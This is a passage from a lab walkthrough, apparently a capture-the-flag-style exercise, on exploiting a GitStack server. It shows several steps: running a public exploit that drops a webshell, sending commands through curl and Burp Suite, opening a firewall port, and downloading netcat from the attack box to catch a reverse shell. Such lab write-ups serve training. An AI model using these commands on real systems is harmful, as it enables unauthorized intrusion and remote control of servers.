04. Exploitation
With the exploit reviewed, it's time to run it against the GitStack server, confirm code execution, and work the webshell up into a reverse shell.
Exploit the Target Server
Make sure the sshuttle tunnel is still up so http://10.200.105.150 is reachable, then run the exploit:
./43777.py
The exploit drops a webshell. Hit it to confirm command execution:
curl -X POST http://10.200.105.150/web/exploit-reapZ.php -d "a=whoami"
To make this easier to work with, browse to http://10.200.105.150/web/exploit-reapZ.php and intercept the request in Burp Suite:
- Enable
FoxyProxy. - Start Burp Suite and turn
Intercepton. - Refresh the page and catch the request.
Change the request method to POST.
Add the command variable a=whoami and send it to Repeater.
Click Send to see the response.
The operating system details come back by running systeminfo.
Can This Server Communicate Externally?
Listen for ICMP on the tunnel interface, then have the target ping back:
tcpdump -i tun0 icmp
Change the command in Burp Suite to ping -n 3 <ATTACKBOX IP>.
Nothing comes back: the server cannot communicate externally.
Catch the Shell
A port has to be opened on the target first. CentOS uses an always-on wrapper around its IPTables firewall, so the firewall blocks anything other than SSH and the specific services the administrator allows. This command opens an inbound port, 15741, over TCP so a reverse shell can connect back to the attack box:
firewall-cmd --zone=public --add-port 15741/tcp
Run it straight through the SSH session already open on prod-serv.
Next, upload a netcat binary so it can act as the listener and catch the reverse shell from the git-serv machine. With the Python HTTP server still running, pull it down from the prod-serv terminal:
curl -L http://10.50.106.231:8000/nc --output ./nc-reapZ
chmod +x nc-reapZ
Start a listener and catch the reverse shell sent via Burp Suite.
URL-encode the payload by selecting the code and pressing CTRL+U.
Send it off, and the listener catches the shell on the Windows git-serv machine.